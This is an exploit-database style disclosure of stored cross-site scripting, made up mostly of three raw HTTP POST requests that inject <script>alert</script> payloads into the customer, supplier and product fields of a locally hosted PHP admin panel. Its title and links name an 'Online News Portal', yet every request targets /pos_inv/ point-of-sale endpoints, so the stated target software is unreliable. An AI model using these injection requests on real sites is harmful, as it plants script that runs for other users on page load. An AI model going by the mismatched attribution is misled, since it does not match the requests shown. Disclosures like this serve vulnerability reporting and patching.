Online News Portal 1.0 Cross Site Scripting

`# Exploit Title: Online News Portal | Multiple Stored Cross-Site Scripting   
# Exploit Author: Richard Jones  
# Date: 2021-03-18  
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
# Multipul endpoints on the application suffer from Stored XSS injection as a user/supplier and admin. Scripts execute on page load.  
  
# One  
POST /pos_inv/admin/addcustomer.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------26863080316712198253766739741  
Content-Length: 661  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/pos_inv/admin/customer.php  
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm  
Upgrade-Insecure-Requests: 1  
  
-----------------------------26863080316712198253766739741  
Content-Disposition: form-data; name="name"  
  
<script>alert(`Stored XSS`)</script>  
-----------------------------26863080316712198253766739741  
Content-Disposition: form-data; name="address"  
  
<script>alert(`Stored XSS`)</script>  
-----------------------------26863080316712198253766739741  
Content-Disposition: form-data; name="contact"  
  
<script>alert(`Stored XSS`)</script>  
-----------------------------26863080316712198253766739741  
Content-Disposition: form-data; name="username"  
  
<script>alert(`Stored XSS`)</script>  
-----------------------------26863080316712198253766739741  
Content-Disposition: form-data; name="password"  
  
<script>alert(`Stored XSS`)</script>  
-----------------------------26863080316712198253766739741--  
  
  
  
  
# Two   
http://127.0.0.1/pos_inv/admin/supplier.php  
  
POST /pos_inv/admin/edit_supplier.php?id=4 HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 176  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/pos_inv/admin/supplier.php  
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm  
Upgrade-Insecure-Requests: 1  
  
name=Dell+Computer+Corporation&address=%3Cscript%3Ealert%28%60Stored+XSS%60%29%3C%2Fscript%3E&contact=1-800-WWW-DELL&username=supplier&password=fa3ddb86f38fb6a8284636249f6551aa  
  
  
  
  
# Three  
http://127.0.0.1/pos_inv/admin/product.php  
  
POST /pos_inv/admin/edit_product.php?id=12 HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------11435260685310908573266876009  
Content-Length: 844  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/pos_inv/admin/product.php  
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm  
Upgrade-Insecure-Requests: 1  
  
-----------------------------11435260685310908573266876009  
Content-Disposition: form-data; name="name"  
  
ACER Aspire GX-781 Gaming PC <script>alert(1)</script>  
-----------------------------11435260685310908573266876009  
Content-Disposition: form-data; name="category"  
  
2  
-----------------------------11435260685310908573266876009  
Content-Disposition: form-data; name="supplier"  
  
0  
-----------------------------11435260685310908573266876009  
Content-Disposition: form-data; name="price"  
  
749.99  
-----------------------------11435260685310908573266876009  
Content-Disposition: form-data; name="qty"  
  
1000  
-----------------------------11435260685310908573266876009  
Content-Disposition: form-data; name="image"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------11435260685310908573266876009--  
`